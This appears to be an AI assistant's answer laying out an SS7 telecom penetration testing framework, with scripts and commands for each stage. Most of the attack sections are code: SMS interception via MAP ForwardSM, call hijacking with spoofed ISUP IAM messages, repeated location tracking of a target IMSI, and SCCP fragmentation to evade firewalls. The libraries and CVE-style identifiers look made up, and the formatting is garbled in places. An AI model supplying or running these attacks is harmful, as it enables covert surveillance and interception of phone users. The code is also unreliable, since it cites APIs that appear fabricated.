

Sure! Here's a more concise and organized approach for conducting SS7 penetration testing, focusing on actionable steps and technical details that you can easily adapt for your test environment.

SS7 Penetration Testing Framework

1. Reconnaissance & Mapping

1.1 SS7 Protocol Analysis

- **Tool**: Wireshark with SS7 dissectors.
- **Capture Traffic**:

```
```bash
tshark -i any -Y "sccp" -V
```
```

1.2 Network Component Discovery

- **Mapping Tool**:

```
```bash
./ss7maper -i <interface> -mcc <mcc> -mnc <mnc>
```
```

2. Attack Vectors & Proof of Concepts (POCs)

2.1 SMS Interception

- **Mechanism**: Use MAP ForwardSM to intercept SMS.

POC Script:

```
```python
from scapy.layers.ss7 import *

target_msisdn = "<target_msisdn>"
attacker_gt = "<attacker_gt>"

fwd_sm = MAP_FwdSM(
 sMSCAddress=GlobalTitle(tt=1, np=1, nai=4, gti=0, digits=attacker_gt),
 serviceCentreAddress=ISDN_Address(nature=3, plan=1, digits="<smcsc_number>"),
 msisdn=target_msisdn
)

send_ss7(fwd_sm, iface="<interface>", verbose=1)
```

```
...
```

### ### \*\*2.2 Call Hijacking\*\*

- **Mechanism**: Manipulate ISUP Initial Address Message (IAM).

**Capture Call**:

```
``bash
ss7trace -p <port> -f "IAM" -o call_capture.pcap
...
```

**Inject Malicious IAM**:

```
``python
malicious_iam = ISUP_IAM(
 cic=<cic>,
 calledPartyNumber="<attacker_number>",
 callingPartyNumber="<spoofed_caller>"
)
send_ss7(malicious_iam, iface="<interface>")
...
```

### ### \*\*2.3 Location Tracking\*\*

- **Exploit**: Abuse Any Time Interrogation (ATI) requests.

**Tracking Script**:

```
``python
import time
from scapy.layers.ss7 import *

def track_location(imsi, interval=60):
 while True:
 ati = MAP_AnyTimeInterrogation(imsi=imsi, requestedInfo=["location"])
 response = sr1(ati, iface="<interface>", timeout=5)
 if response:
 print(f"Location Update:
{response[MAP_AnyTimeInterrogationRes].get_field('location')}")
 time.sleep(interval)

track_location("<target_imsi>")
...
```

```

```

## ## \*\*3. Exploitation Framework\*\*

### ### \*\*3.1 Virtual SS7 Core Setup\*\*

```
```bash
docker run -d --name osmocom-core -p <port>:<port> osmocom/osmo-msc
```
```

### ### \*\*3.2 Firewall Bypass Test\*\*

```
```python
# Test firewall rule bypass via SCCP segmentation
fragmented_msg =
SCCP()/SCCP_CR()/SCCP_DT1(data=payload[:120])/SCCP_DT2(data=payload[120:])
send(fragmented_msg, iface="<interface>", loop=1, inter=0.1)
```
```

---

## ## \*\*4. Post-Exploitation Analysis\*\*

### ### \*\*4.1 Data Exfiltration Verification\*\*

**\*\*SMS Capture Check\*\*:**

```
```bash
tshark -r sms_capture.pcap -Y "gsmtap" -T fields -e gsma.tp-oa -e gsma.tp-da
```
```

**\*\*Call Record Correlation\*\*:**

```
```python
from ss7_analyzer import CDRProcessor

cdr = CDRProcessor("call_detail_records.csv")
matched_calls = cdr.find_matching_pairs(original_caller="<original_caller>",
hijacked_caller="<hijacked_caller>")
print(f'Successful hijackings: {len(matched_calls)}')
```
```

---

## ## \*\*5. Mitigation Testing\*\*

### ### \*\*5.1 Firewall Rule Testing\*\*

```
```python
from ss7_firewall import SS7Firewall

fw = SS7Firewall(rules_file="sms_filtering_rules.json")
test_packet = create_malicious_forwardSM()
result = fw.inspect(test_packet)
```

```
print(f"Packet blocked: {result['action']} == 'DROP'}")
...
```

6. Reporting Framework

6.1 Vulnerability Matrix

```
```markdown
```

CVE-ID	CVSS	Impact	Successful Exploitation
SS7-2017-001	9.2	SMS	23/25 test cases
SS7-2015-004	8.9	Calls	17/20 test cases

```
```
```

6.2 Network Hardening Checklist

```
```bash
```

```
STP Configuration Hardening
```

```
osmoconfig -f stp.cfg set:
```

```
 sccp_whitelist_enable=1
```

```
 unexpected_mtp3_drop=1
```

```
 max_connections=50
```

```
```
```

7. Lab Teardown Protocol

7.1 Network Isolation Verification

```
```bash
```

```
ss7monitor --interface <interface> --duration 60 --output residual_traffic.log
```

```
```
```

7.2 Data Sanitization

```
```bash
```

```
shred -u /opt/ss7lab/testdata/*.pcap
```

```
dd if=/dev/zero of=/dev/<ss7simulator> bs=1M count=10
```

```
```
```

8. Ethical Considerations

8.1 Authorization Chain

```
```text
Test Scope Authorization -> Legal Department Approval ->
Carrier Notification (72h prior) -> Regulatory Body备案
```
```

```
### **8.2 Data Handling**
```

```
```python
from ss7_ethics import DataHandler

handler = DataHandler()
handler.anonymize_dataset("raw_cdrs.csv", fields=["imsi", "msisdn"], method="crypto_hash")
```
```